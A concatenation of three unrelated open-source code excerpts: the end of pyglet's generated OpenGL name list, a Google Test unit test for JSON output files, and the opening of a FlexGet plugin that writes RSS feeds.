'GL_MAP1_VERTEX_4', 'GL_MAP2_COLOR_4', 'GL_MAP2_INDEX', 'GL_MAP2_NORMAL',
'GL_MAP2_TEXTURE_COORD_1', 'GL_MAP2_TEXTURE_COORD_2',
'GL_MAP2_TEXTURE_COORD_3', 'GL_MAP2_TEXTURE_COORD_4', 'GL_MAP2_VERTEX_3',
'GL_MAP2_VERTEX_4', 'GL_MAP1_GRID_DOMAIN', 'GL_MAP1_GRID_SEGMENTS',
'GL_MAP2_GRID_DOMAIN', 'GL_MAP2_GRID_SEGMENTS', 'GL_TEXTURE_1D',
'GL_TEXTURE_2D', 'GL_FEEDBACK_BUFFER_POINTER', 'GL_FEEDBACK_BUFFER_SIZE',
'GL_FEEDBACK_BUFFER_TYPE', 'GL_SELECTION_BUFFER_POINTER',
'GL_SELECTION_BUFFER_SIZE', 'GL_POLYGON_OFFSET_UNITS',
'GL_POLYGON_OFFSET_POINT', 'GL_POLYGON_OFFSET_LINE', 'GL_POLYGON_OFFSET_FILL',
'GL_POLYGON_OFFSET_FACTOR', 'GL_TEXTURE_BINDING_1D', 'GL_TEXTURE_BINDING_2D',
'GL_TEXTURE_BINDING_3D', 'GL_VERTEX_ARRAY', 'GL_NORMAL_ARRAY',
'GL_COLOR_ARRAY', 'GL_INDEX_ARRAY', 'GL_TEXTURE_COORD_ARRAY',
'GL_EDGE_FLAG_ARRAY', 'GL_VERTEX_ARRAY_SIZE', 'GL_VERTEX_ARRAY_TYPE',
'GL_VERTEX_ARRAY_STRIDE', 'GL_NORMAL_ARRAY_TYPE', 'GL_NORMAL_ARRAY_STRIDE',
'GL_COLOR_ARRAY_SIZE', 'GL_COLOR_ARRAY_TYPE', 'GL_COLOR_ARRAY_STRIDE',
'GL_INDEX_ARRAY_TYPE', 'GL_INDEX_ARRAY_STRIDE', 'GL_TEXTURE_COORD_ARRAY_SIZE',
'GL_TEXTURE_COORD_ARRAY_TYPE', 'GL_TEXTURE_COORD_ARRAY_STRIDE',
'GL_EDGE_FLAG_ARRAY_STRIDE', 'GL_TEXTURE_WIDTH', 'GL_TEXTURE_HEIGHT',
'GL_TEXTURE_INTERNAL_FORMAT', 'GL_TEXTURE_COMPONENTS',
'GL_TEXTURE_BORDER_COLOR', 'GL_TEXTURE_BORDER', 'GL_TEXTURE_RED_SIZE',
'GL_TEXTURE_GREEN_SIZE', 'GL_TEXTURE_BLUE_SIZE', 'GL_TEXTURE_ALPHA_SIZE',
'GL_TEXTURE_LUMINANCE_SIZE', 'GL_TEXTURE_INTENSITY_SIZE',
'GL_TEXTURE_PRIORITY', 'GL_TEXTURE_RESIDENT', 'GL_DONT_CARE', 'GL_FASTEST',
'GL_NICEST', 'GL_AMBIENT', 'GL_DIFFUSE', 'GL_SPECULAR', 'GL_POSITION',
'GL_SPOT_DIRECTION', 'GL_SPOT_EXPONENT', 'GL_SPOT_CUTOFF',
'GL_CONSTANT_ATTENUATION', 'GL_LINEAR_ATTENUATION',
'GL_QUADRATIC_ATTENUATION', 'GL_COMPILE', 'GL_COMPILE_AND_EXECUTE', 'GL_BYTE',
'GL_UNSIGNED_BYTE', 'GL_SHORT', 'GL_UNSIGNED_SHORT', 'GL_INT',
'GL_UNSIGNED_INT', 'GL_FLOAT', 'GL_2_BYTES', 'GL_3_BYTES', 'GL_4_BYTES',
'GL_DOUBLE', 'GL_DOUBLE_EXT', 'GL_CLEAR', 'GL_AND', 'GL_AND_REVERSE',
'GL_COPY', 'GL_AND_INVERTED', 'GL_NOOP', 'GL_XOR', 'GL_OR', 'GL_NOR',
'GL_EQUIV', 'GL_INVERT', 'GL_OR_REVERSE', 'GL_COPY_INVERTED',
'GL_OR_INVERTED', 'GL_NAND', 'GL_SET', 'GL_EMISSION', 'GL_SHININESS',
'GL_AMBIENT_AND_DIFFUSE', 'GL_COLOR_INDEXES', 'GL_MODELVIEW', 'GL_PROJECTION',
'GL_TEXTURE', 'GL_COLOR', 'GL_DEPTH', 'GL_STENCIL', 'GL_COLOR_INDEX',
'GL_STENCIL_INDEX', 'GL_DEPTH_COMPONENT', 'GL_RED', 'GL_GREEN', 'GL_BLUE',
'GL_ALPHA', 'GL_RGB', 'GL_RGBA', 'GL_LUMINANCE', 'GL_LUMINANCE_ALPHA',
'GL_BITMAP', 'GL_POINT', 'GL_LINE', 'GL_FILL', 'GL_RENDER', 'GL_FEEDBACK',
'GL_SELECT', 'GL_FLAT', 'GL_SMOOTH', 'GL_KEEP', 'GL_REPLACE', 'GL_INCR',
'GL_DECR', 'GL_VENDOR', 'GL_RENDERER', 'GL_VERSION', 'GL_EXTENSIONS', 'GL_S',
'GL_T', 'GL_R', 'GL_Q', 'GL_MODULATE', 'GL_DECAL', 'GL_TEXTURE_ENV_MODE',
'GL_TEXTURE_ENV_COLOR', 'GL_TEXTURE_ENV', 'GL_EYE_LINEAR', 'GL_OBJECT_LINEAR',
'GL_SPHERE_MAP', 'GL_TEXTURE_GEN_MODE', 'GL_OBJECT_PLANE', 'GL_EYE_PLANE',
'GL_NEAREST', 'GL_LINEAR', 'GL_NEAREST_MIPMAP_NEAREST',
'GL_LINEAR_MIPMAP_NEAREST', 'GL_NEAREST_MIPMAP_LINEAR',
'GL_LINEAR_MIPMAP_LINEAR', 'GL_TEXTURE_MAG_FILTER', 'GL_TEXTURE_MIN_FILTER',
'GL_TEXTURE_WRAP_S', 'GL_TEXTURE_WRAP_T', 'GL_PROXY_TEXTURE_1D',
'GL_PROXY_TEXTURE_2D', 'GL_CLAMP', 'GL_REPEAT', 'GL_R3_G3_B2', 'GL_ALPHA4',
'GL_ALPHA8', 'GL_ALPHA12', 'GL_ALPHA16', 'GL_LUMINANCE4', 'GL_LUMINANCE8',
'GL_LUMINANCE12', 'GL_LUMINANCE16', 'GL_LUMINANCE4_ALPHA4',
'GL_LUMINANCE6_ALPHA2', 'GL_LUMINANCE8_ALPHA8', 'GL_LUMINANCE12_ALPHA4',
'GL_LUMINANCE12_ALPHA12', 'GL_LUMINANCE16_ALPHA16', 'GL_INTENSITY',
'GL_INTENSITY4', 'GL_INTENSITY8', 'GL_INTENSITY12', 'GL_INTENSITY16',
'GL_RGB4', 'GL_RGB5', 'GL_RGB8', 'GL_RGB10', 'GL_RGB12', 'GL_RGB16',
'GL_RGBA2', 'GL_RGBA4', 'GL_RGB5_A1', 'GL_RGBA8', 'GL_RGB10_A2', 'GL_RGBA12',
'GL_RGBA16', 'GL_V2F', 'GL_V3F', 'GL_C4UB_V2F', 'GL_C4UB_V3F', 'GL_C3F_V3F',
'GL_N3F_V3F', 'GL_C4F_N3F_V3F', 'GL_T2F_V3F', 'GL_T4F_V4F', 'GL_T2F_C4UB_V3F',
'GL_T2F_C3F_V3F', 'GL_T2F_N3F_V3F', 'GL_T2F_C4F_N3F_V3F',
'GL_T4F_C4F_N3F_V4F', 'GL_CLIP_PLANE0', 'GL_CLIP_PLANE1', 'GL_CLIP_PLANE2',
'GL_CLIP_PLANE3', 'GL_CLIP_PLANE4', 'GL_CLIP_PLANE5', 'GL_LIGHT0',
'GL_LIGHT1', 'GL_LIGHT2', 'GL_LIGHT3', 'GL_LIGHT4', 'GL_LIGHT5', 'GL_LIGHT6',
'GL_LIGHT7', 'GL_ABGR_EXT', 'GL_FUNC_SUBTRACT_EXT',
'GL_FUNC_REVERSE_SUBTRACT_EXT', 'GL_UNSIGNED_BYTE_3_3_2_EXT',
'GL_UNSIGNED_SHORT_4_4_4_4_EXT', 'GL_UNSIGNED_SHORT_5_5_5_1_EXT',
'GL_UNSIGNED_INT_8_8_8_8_EXT', 'GL_UNSIGNED_INT_10_10_10_2_EXT',
'GL_PACK_SKIP_IMAGES', 'GL_PACK_IMAGE_HEIGHT', 'GL_UNPACK_SKIP_IMAGES',
'GL_UNPACK_IMAGE_HEIGHT', 'GL_TEXTURE_3D', 'GL_PROXY_TEXTURE_3D',
'GL_TEXTURE_DEPTH', 'GL_TEXTURE_WRAP_R', 'GL_MAX_3D_TEXTURE_SIZE', 'GL_BGR',
'GL_BGRA', 'GL_UNSIGNED_BYTE_3_3_2', 'GL_UNSIGNED_BYTE_2_3_3_REV',
'GL_UNSIGNED_SHORT_5_6_5', 'GL_UNSIGNED_SHORT_5_6_5_REV',
'GL_UNSIGNED_SHORT_4_4_4_4', 'GL_UNSIGNED_SHORT_4_4_4_4_REV',
'GL_UNSIGNED_SHORT_5_5_5_1', 'GL_UNSIGNED_SHORT_1_5_5_5_REV',
'GL_UNSIGNED_INT_8_8_8_8', 'GL_UNSIGNED_INT_8_8_8_8_REV',
'GL_UNSIGNED_INT_10_10_10_2', 'GL_UNSIGNED_INT_2_10_10_10_REV',
'GL_RESCALE_NORMAL', 'GL_LIGHT_MODEL_COLOR_CONTROL', 'GL_SINGLE_COLOR',
'GL_SEPARATE_SPECULAR_COLOR', 'GL_CLAMP_TO_EDGE', 'GL_TEXTURE_MIN_LOD',
'GL_TEXTURE_MAX_LOD', 'GL_TEXTURE_BASE_LEVEL', 'GL_TEXTURE_MAX_LEVEL',
'GL_MAX_ELEMENTS_VERTICES', 'GL_MAX_ELEMENTS_INDICES',
'GL_ALIASED_POINT_SIZE_RANGE', 'GL_ALIASED_LINE_WIDTH_RANGE',
'GL_ACTIVE_TEXTURE', 'GL_CLIENT_ACTIVE_TEXTURE', 'GL_MAX_TEXTURE_UNITS',
'GL_TEXTURE0', 'GL_TEXTURE1', 'GL_TEXTURE2', 'GL_TEXTURE3', 'GL_TEXTURE4',
'GL_TEXTURE5', 'GL_TEXTURE6', 'GL_TEXTURE7', 'GL_TEXTURE8', 'GL_TEXTURE9',
'GL_TEXTURE10', 'GL_TEXTURE11', 'GL_TEXTURE12', 'GL_TEXTURE13',
'GL_TEXTURE14', 'GL_TEXTURE15', 'GL_TEXTURE16', 'GL_TEXTURE17',
'GL_TEXTURE18', 'GL_TEXTURE19', 'GL_TEXTURE20', 'GL_TEXTURE21',
'GL_TEXTURE22', 'GL_TEXTURE23', 'GL_TEXTURE24', 'GL_TEXTURE25',
'GL_TEXTURE26', 'GL_TEXTURE27', 'GL_TEXTURE28', 'GL_TEXTURE29',
'GL_TEXTURE30', 'GL_TEXTURE31', 'GL_NORMAL_MAP', 'GL_REFLECTION_MAP',
'GL_TEXTURE_CUBE_MAP', 'GL_TEXTURE_BINDING_CUBE_MAP',
'GL_TEXTURE_CUBE_MAP_POSITIVE_X', 'GL_TEXTURE_CUBE_MAP_NEGATIVE_X',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Y', 'GL_TEXTURE_CUBE_MAP_NEGATIVE_Y',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Z', 'GL_TEXTURE_CUBE_MAP_NEGATIVE_Z',
'GL_PROXY_TEXTURE_CUBE_MAP', 'GL_MAX_CUBE_MAP_TEXTURE_SIZE', 'GL_COMBINE',
'GL_COMBINE_RGB', 'GL_COMBINE_ALPHA', 'GL_RGB_SCALE', 'GL_ADD_SIGNED',
'GL_INTERPOLATE', 'GL_CONSTANT', 'GL_PRIMARY_COLOR', 'GL_PREVIOUS',
'GL_SOURCE0_RGB', 'GL_SOURCE1_RGB', 'GL_SOURCE2_RGB', 'GL_SOURCE0_ALPHA',
'GL_SOURCE1_ALPHA', 'GL_SOURCE2_ALPHA', 'GL_OPERAND0_RGB', 'GL_OPERAND1_RGB',
'GL_OPERAND2_RGB', 'GL_OPERAND0_ALPHA', 'GL_OPERAND1_ALPHA',
'GL_OPERAND2_ALPHA', 'GL_SUBTRACT', 'GL_TRANSPOSE_MODELVIEW_MATRIX',
'GL_TRANSPOSE_PROJECTION_MATRIX', 'GL_TRANSPOSE_TEXTURE_MATRIX',
'GL_TRANSPOSE_COLOR_MATRIX', 'GL_COMPRESSED_ALPHA', 'GL_COMPRESSED_LUMINANCE',
'GL_COMPRESSED_LUMINANCE_ALPHA', 'GL_COMPRESSED_INTENSITY',
'GL_COMPRESSED_RGB', 'GL_COMPRESSED_RGBA', 'GL_TEXTURE_COMPRESSION_HINT',
'GL_TEXTURE_COMPRESSED_IMAGE_SIZE', 'GL_TEXTURE_COMPRESSED',
'GL_NUM_COMPRESSED_TEXTURE_FORMATS', 'GL_COMPRESSED_TEXTURE_FORMATS',
'GL_DOT3_RGB', 'GL_DOT3_RGBA', 'GL_CLAMP_TO_BORDER', 'GL_MULTISAMPLE',
'GL_SAMPLE_ALPHA_TO_COVERAGE', 'GL_SAMPLE_ALPHA_TO_ONE', 'GL_SAMPLE_COVERAGE',
'GL_SAMPLE_BUFFERS', 'GL_SAMPLES', 'GL_SAMPLE_COVERAGE_VALUE',
'GL_SAMPLE_COVERAGE_INVERT', 'GL_MULTISAMPLE_BIT', 'GL_VERTEX_ARRAY_EXT',
'GL_NORMAL_ARRAY_EXT', 'GL_COLOR_ARRAY_EXT', 'GL_INDEX_ARRAY_EXT',
'GL_TEXTURE_COORD_ARRAY_EXT', 'GL_EDGE_FLAG_ARRAY_EXT',
'GL_VERTEX_ARRAY_SIZE_EXT', 'GL_VERTEX_ARRAY_TYPE_EXT',
'GL_VERTEX_ARRAY_STRIDE_EXT', 'GL_VERTEX_ARRAY_COUNT_EXT',
'GL_NORMAL_ARRAY_TYPE_EXT', 'GL_NORMAL_ARRAY_STRIDE_EXT',
'GL_NORMAL_ARRAY_COUNT_EXT', 'GL_COLOR_ARRAY_SIZE_EXT',
'GL_COLOR_ARRAY_TYPE_EXT', 'GL_COLOR_ARRAY_STRIDE_EXT',
'GL_COLOR_ARRAY_COUNT_EXT', 'GL_INDEX_ARRAY_TYPE_EXT',
'GL_INDEX_ARRAY_STRIDE_EXT', 'GL_INDEX_ARRAY_COUNT_EXT',
'GL_TEXTURE_COORD_ARRAY_SIZE_EXT', 'GL_TEXTURE_COORD_ARRAY_TYPE_EXT',
'GL_TEXTURE_COORD_ARRAY_STRIDE_EXT', 'GL_TEXTURE_COORD_ARRAY_COUNT_EXT',
'GL_EDGE_FLAG_ARRAY_STRIDE_EXT', 'GL_EDGE_FLAG_ARRAY_COUNT_EXT',
'GL_VERTEX_ARRAY_POINTER_EXT', 'GL_NORMAL_ARRAY_POINTER_EXT',
'GL_COLOR_ARRAY_POINTER_EXT', 'GL_INDEX_ARRAY_POINTER_EXT',
'GL_TEXTURE_COORD_ARRAY_POINTER_EXT', 'GL_EDGE_FLAG_ARRAY_POINTER_EXT',
'GL_TEXTURE_MIN_LOD_SGIS', 'GL_TEXTURE_MAX_LOD_SGIS',
'GL_TEXTURE_BASE_LEVEL_SGIS', 'GL_TEXTURE_MAX_LEVEL_SGIS',
'GL_SHARED_TEXTURE_PALETTE_EXT', 'GL_RESCALE_NORMAL_EXT',
'GL_TEXTURE_COMPARE_SGIX', 'GL_TEXTURE_COMPARE_OPERATOR_SGIX',
'GL_TEXTURE_LEQUAL_R_SGIX', 'GL_TEXTURE_GEQUAL_R_SGIX',
'GL_DEPTH_COMPONENT16_SGIX', 'GL_DEPTH_COMPONENT24_SGIX',
'GL_DEPTH_COMPONENT32_SGIX', 'GL_GENERATE_MIPMAP_SGIS',
'GL_GENERATE_MIPMAP_HINT_SGIS', 'GL_POINT_SIZE_MIN', 'GL_POINT_SIZE_MAX',
'GL_POINT_FADE_THRESHOLD_SIZE', 'GL_POINT_DISTANCE_ATTENUATION',
'GL_FOG_COORDINATE_SOURCE', 'GL_FOG_COORDINATE', 'GL_FRAGMENT_DEPTH',
'GL_CURRENT_FOG_COORDINATE', 'GL_FOG_COORDINATE_ARRAY_TYPE',
'GL_FOG_COORDINATE_ARRAY_STRIDE', 'GL_FOG_COORDINATE_ARRAY_POINTER',
'GL_FOG_COORDINATE_ARRAY', 'GL_COLOR_SUM', 'GL_CURRENT_SECONDARY_COLOR',
'GL_SECONDARY_COLOR_ARRAY_SIZE', 'GL_SECONDARY_COLOR_ARRAY_TYPE',
'GL_SECONDARY_COLOR_ARRAY_STRIDE', 'GL_SECONDARY_COLOR_ARRAY_POINTER',
'GL_SECONDARY_COLOR_ARRAY', 'GL_INCR_WRAP', 'GL_DECR_WRAP',
'GL_MAX_TEXTURE_LOD_BIAS', 'GL_TEXTURE_FILTER_CONTROL', 'GL_TEXTURE_LOD_BIAS',
'GL_GENERATE_MIPMAP', 'GL_GENERATE_MIPMAP_HINT', 'GL_BLEND_DST_RGB',
'GL_BLEND_SRC_RGB', 'GL_BLEND_DST_ALPHA', 'GL_BLEND_SRC_ALPHA',
'GL_MIRRORED_REPEAT', 'GL_DEPTH_COMPONENT16', 'GL_DEPTH_COMPONENT24',
'GL_DEPTH_COMPONENT32', 'GL_TEXTURE_DEPTH_SIZE', 'GL_DEPTH_TEXTURE_MODE',
'GL_TEXTURE_COMPARE_MODE', 'GL_TEXTURE_COMPARE_FUNC',
'GL_COMPARE_R_TO_TEXTURE', 'glAccum', 'glAlphaFunc', 'glAreTexturesResident',
'glArrayElement', 'glBegin', 'glBindTexture', 'glBitmap', 'glBlendFunc',
'glCallList', 'glCallLists', 'glClear', 'glClearAccum', 'glClearColor',
'glClearDepth', 'glClearIndex', 'glClearStencil', 'glClipPlane', 'glColor3b',
'glColor3bv', 'glColor3d', 'glColor3dv', 'glColor3f', 'glColor3fv',
'glColor3i', 'glColor3iv', 'glColor3s', 'glColor3sv', 'glColor3ub',
'glColor3ubv', 'glColor3ui', 'glColor3uiv', 'glColor3us', 'glColor3usv',
'glColor4b', 'glColor4bv', 'glColor4d', 'glColor4dv', 'glColor4f',
'glColor4fv', 'glColor4i', 'glColor4iv', 'glColor4s', 'glColor4sv',
'glColor4ub', 'glColor4ubv', 'glColor4ui', 'glColor4uiv', 'glColor4us',
'glColor4usv', 'glColorMask', 'glColorMaterial', 'glColorPointer',
'glCopyPixels', 'glCopyTexImage1D', 'glCopyTexImage2D', 'glCopyTexSubImage1D',
'glCopyTexSubImage2D', 'glCullFace', 'glDeleteLists', 'glDeleteTextures',
'glDepthFunc', 'glDepthMask', 'glDepthRange', 'glDisable',
'glDisableClientState', 'glDrawArrays', 'glDrawBuffer', 'glDrawElements',
'glDrawPixels', 'glEdgeFlag', 'glEdgeFlagPointer', 'glEdgeFlagv', 'glEnable',
'glEnableClientState', 'glEnd', 'glEndList', 'glEvalCoord1d',
'glEvalCoord1dv', 'glEvalCoord1f', 'glEvalCoord1fv', 'glEvalCoord2d',
'glEvalCoord2dv', 'glEvalCoord2f', 'glEvalCoord2fv', 'glEvalMesh1',
'glEvalMesh2', 'glEvalPoint1', 'glEvalPoint2', 'glFeedbackBuffer', 'glFinish',
'glFlush', 'glFogf', 'glFogfv', 'glFogi', 'glFogiv', 'glFrontFace',
'glFrustum', 'glGenLists', 'glGenTextures', 'glGetBooleanv', 'glGetClipPlane',
'glGetDoublev', 'glGetError', 'glGetFloatv', 'glGetIntegerv', 'glGetLightfv',
'glGetLightiv', 'glGetMapdv', 'glGetMapfv', 'glGetMapiv', 'glGetMaterialfv',
'glGetMaterialiv', 'glGetPixelMapfv', 'glGetPixelMapuiv', 'glGetPixelMapusv',
'glGetPointerv', 'glGetPolygonStipple', 'glGetString', 'glGetTexEnvfv',
'glGetTexEnviv', 'glGetTexGendv', 'glGetTexGenfv', 'glGetTexGeniv',
'glGetTexImage', 'glGetTexLevelParameterfv', 'glGetTexLevelParameteriv',
'glGetTexParameterfv', 'glGetTexParameteriv', 'glHint', 'glIndexMask',
'glIndexPointer', 'glIndexd', 'glIndexdv', 'glIndexf', 'glIndexfv',
'glIndexi', 'glIndexiv', 'glIndexs', 'glIndexsv', 'glIndexub', 'glIndexubv',
'glInitNames', 'glInterleavedArrays', 'glIsEnabled', 'glIsList',
'glIsTexture', 'glLightModelf', 'glLightModelfv', 'glLightModeli',
'glLightModeliv', 'glLightf', 'glLightfv', 'glLighti', 'glLightiv',
'glLineStipple', 'glLineWidth', 'glListBase', 'glLoadIdentity',
'glLoadMatrixd', 'glLoadMatrixf', 'glLoadName', 'glLogicOp', 'glMap1d',
'glMap1f', 'glMap2d', 'glMap2f', 'glMapGrid1d', 'glMapGrid1f', 'glMapGrid2d',
'glMapGrid2f', 'glMaterialf', 'glMaterialfv', 'glMateriali', 'glMaterialiv',
'glMatrixMode', 'glMultMatrixd', 'glMultMatrixf', 'glNewList', 'glNormal3b',
'glNormal3bv', 'glNormal3d', 'glNormal3dv', 'glNormal3f', 'glNormal3fv',
'glNormal3i', 'glNormal3iv', 'glNormal3s', 'glNormal3sv', 'glNormalPointer',
'glOrtho', 'glPassThrough', 'glPixelMapfv', 'glPixelMapuiv', 'glPixelMapusv',
'glPixelStoref', 'glPixelStorei', 'glPixelTransferf', 'glPixelTransferi',
'glPixelZoom', 'glPointSize', 'glPolygonMode', 'glPolygonOffset',
'glPolygonStipple', 'glPopAttrib', 'glPopClientAttrib', 'glPopMatrix',
'glPopName', 'glPrioritizeTextures', 'glPushAttrib', 'glPushClientAttrib',
'glPushMatrix', 'glPushName', 'glRasterPos2d', 'glRasterPos2dv',
'glRasterPos2f', 'glRasterPos2fv', 'glRasterPos2i', 'glRasterPos2iv',
'glRasterPos2s', 'glRasterPos2sv', 'glRasterPos3d', 'glRasterPos3dv',
'glRasterPos3f', 'glRasterPos3fv', 'glRasterPos3i', 'glRasterPos3iv',
'glRasterPos3s', 'glRasterPos3sv', 'glRasterPos4d', 'glRasterPos4dv',
'glRasterPos4f', 'glRasterPos4fv', 'glRasterPos4i', 'glRasterPos4iv',
'glRasterPos4s', 'glRasterPos4sv', 'glReadBuffer', 'glReadPixels', 'glRectd',
'glRectdv', 'glRectf', 'glRectfv', 'glRecti', 'glRectiv', 'glRects',
'glRectsv', 'glRenderMode', 'glRotated', 'glRotatef', 'glScaled', 'glScalef',
'glScissor', 'glSelectBuffer', 'glShadeModel', 'glStencilFunc',
'glStencilMask', 'glStencilOp', 'glTexCoord1d', 'glTexCoord1dv',
'glTexCoord1f', 'glTexCoord1fv', 'glTexCoord1i', 'glTexCoord1iv',
'glTexCoord1s', 'glTexCoord1sv', 'glTexCoord2d', 'glTexCoord2dv',
'glTexCoord2f', 'glTexCoord2fv', 'glTexCoord2i', 'glTexCoord2iv',
'glTexCoord2s', 'glTexCoord2sv', 'glTexCoord3d', 'glTexCoord3dv',
'glTexCoord3f', 'glTexCoord3fv', 'glTexCoord3i', 'glTexCoord3iv',
'glTexCoord3s', 'glTexCoord3sv', 'glTexCoord4d', 'glTexCoord4dv',
'glTexCoord4f', 'glTexCoord4fv', 'glTexCoord4i', 'glTexCoord4iv',
'glTexCoord4s', 'glTexCoord4sv', 'glTexCoordPointer', 'glTexEnvf',
'glTexEnvfv', 'glTexEnvi', 'glTexEnviv', 'glTexGend', 'glTexGendv',
'glTexGenf', 'glTexGenfv', 'glTexGeni', 'glTexGeniv', 'glTexImage1D',
'glTexImage2D', 'glTexParameterf', 'glTexParameterfv', 'glTexParameteri',
'glTexParameteriv', 'glTexSubImage1D', 'glTexSubImage2D', 'glTranslated',
'glTranslatef', 'glVertex2d', 'glVertex2dv', 'glVertex2f', 'glVertex2fv',
'glVertex2i', 'glVertex2iv', 'glVertex2s', 'glVertex2sv', 'glVertex3d',
'glVertex3dv', 'glVertex3f', 'glVertex3fv', 'glVertex3i', 'glVertex3iv',
'glVertex3s', 'glVertex3sv', 'glVertex4d', 'glVertex4dv', 'glVertex4f',
'glVertex4fv', 'glVertex4i', 'glVertex4iv', 'glVertex4s', 'glVertex4sv',
'glVertexPointer', 'glViewport']
# END GENERATED CONTENT (do not edit above this line)
| jbaayen/sympy | sympy/thirdparty/pyglet/pyglet/gl/gl.py | Python | bsd-3-clause | 103,044 |
#!/usr/bin/env python
# Copyright 2018, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Unit test for the gtest_json_output module."""
import json
import os
from googletest.test import gtest_json_test_utils
from googletest.test import gtest_test_utils
GTEST_OUTPUT_SUBDIR = 'json_outfiles'
GTEST_OUTPUT_1_TEST = 'gtest_xml_outfile1_test_'
GTEST_OUTPUT_2_TEST = 'gtest_xml_outfile2_test_'
EXPECTED_1 = {
u'tests':
1,
u'failures':
0,
u'disabled':
0,
u'errors':
0,
u'time':
u'*',
u'timestamp':
u'*',
u'name':
u'AllTests',
u'testsuites': [{
u'name':
u'PropertyOne',
u'tests':
1,
u'failures':
0,
u'disabled':
0,
u'errors':
0,
u'time':
u'*',
u'timestamp':
u'*',
u'testsuite': [{
u'name': u'TestSomeProperties',
u'status': u'RUN',
u'result': u'COMPLETED',
u'time': u'*',
u'timestamp': u'*',
u'classname': u'PropertyOne',
u'SetUpProp': u'1',
u'TestSomeProperty': u'1',
u'TearDownProp': u'1',
}],
}],
}
EXPECTED_2 = {
u'tests':
1,
u'failures':
0,
u'disabled':
0,
u'errors':
0,
u'time':
u'*',
u'timestamp':
u'*',
u'name':
u'AllTests',
u'testsuites': [{
u'name':
u'PropertyTwo',
u'tests':
1,
u'failures':
0,
u'disabled':
0,
u'errors':
0,
u'time':
u'*',
u'timestamp':
u'*',
u'testsuite': [{
u'name': u'TestSomeProperties',
u'status': u'RUN',
u'result': u'COMPLETED',
u'timestamp': u'*',
u'time': u'*',
u'classname': u'PropertyTwo',
u'SetUpProp': u'2',
u'TestSomeProperty': u'2',
u'TearDownProp': u'2',
}],
}],
}
class GTestJsonOutFilesTest(gtest_test_utils.TestCase):
"""Unit test for Google Test's JSON output functionality."""
def setUp(self):
# We want the trailing '/' that the last "" provides in os.path.join, for
# telling Google Test to create an output directory instead of a single file
# for xml output.
self.output_dir_ = os.path.join(gtest_test_utils.GetTempDir(),
GTEST_OUTPUT_SUBDIR, '')
self.DeleteFilesAndDir()
def tearDown(self):
self.DeleteFilesAndDir()
def DeleteFilesAndDir(self):
try:
os.remove(os.path.join(self.output_dir_, GTEST_OUTPUT_1_TEST + '.json'))
except os.error:
pass
try:
os.remove(os.path.join(self.output_dir_, GTEST_OUTPUT_2_TEST + '.json'))
except os.error:
pass
try:
os.rmdir(self.output_dir_)
except os.error:
pass
def testOutfile1(self):
self._TestOutFile(GTEST_OUTPUT_1_TEST, EXPECTED_1)
def testOutfile2(self):
self._TestOutFile(GTEST_OUTPUT_2_TEST, EXPECTED_2)
def _TestOutFile(self, test_name, expected):
gtest_prog_path = gtest_test_utils.GetTestExecutablePath(test_name)
command = [gtest_prog_path, '--gtest_output=json:%s' % self.output_dir_]
p = gtest_test_utils.Subprocess(command,
working_dir=gtest_test_utils.GetTempDir())
self.assert_(p.exited)
self.assertEquals(0, p.exit_code)
output_file_name1 = test_name + '.json'
output_file1 = os.path.join(self.output_dir_, output_file_name1)
output_file_name2 = 'lt-' + output_file_name1
output_file2 = os.path.join(self.output_dir_, output_file_name2)
self.assert_(os.path.isfile(output_file1) or os.path.isfile(output_file2),
output_file1)
if os.path.isfile(output_file1):
with open(output_file1) as f:
actual = json.load(f)
else:
with open(output_file2) as f:
actual = json.load(f)
self.assertEqual(expected, gtest_json_test_utils.normalize(actual))
if __name__ == '__main__':
os.environ['GTEST_STACK_TRACE_DEPTH'] = '0'
gtest_test_utils.Main()
| grpc/grpc-ios | native_src/third_party/googletest/googletest/test/googletest-json-outfiles-test.py | Python | apache-2.0 | 5,705 |
import base64
import datetime
import hashlib
import io
import os
from loguru import logger
from sqlalchemy import Column, DateTime, Integer, String, Unicode
from flexget import db_schema, plugin
from flexget.event import event
from flexget.utils.sqlalchemy_utils import table_add_column, table_columns
from flexget.utils.template import RenderError, get_template, render_from_entry
logger = logger.bind(name='make_rss')
Base = db_schema.versioned_base('make_rss', 0)
rss2gen = True
try:
import PyRSS2Gen
except ImportError:
rss2gen = False
@db_schema.upgrade('make_rss')
def upgrade(ver, session):
if ver is None:
columns = table_columns('make_rss', session)
if 'rsslink' not in columns:
logger.info('Adding rsslink column to table make_rss.')
table_add_column('make_rss', 'rsslink', String, session)
ver = 0
return ver
class RSSEntry(Base):
__tablename__ = 'make_rss'
id = Column(Integer, primary_key=True)
title = Column(Unicode)
description = Column(Unicode)
link = Column(String)
rsslink = Column(String)
file = Column(Unicode)
published = Column(DateTime, default=datetime.datetime.utcnow)
enc_length = Column(Integer)
enc_type = Column(String)
class OutputRSS:
"""
Write RSS containing succeeded (downloaded) entries.
Example::
make_rss: ~/public_html/flexget.rss
You may write into same file in multiple tasks.
Example::
my-task-A:
make_rss: ~/public_html/series.rss
.
.
my-task-B:
make_rss: ~/public_html/series.rss
.
.
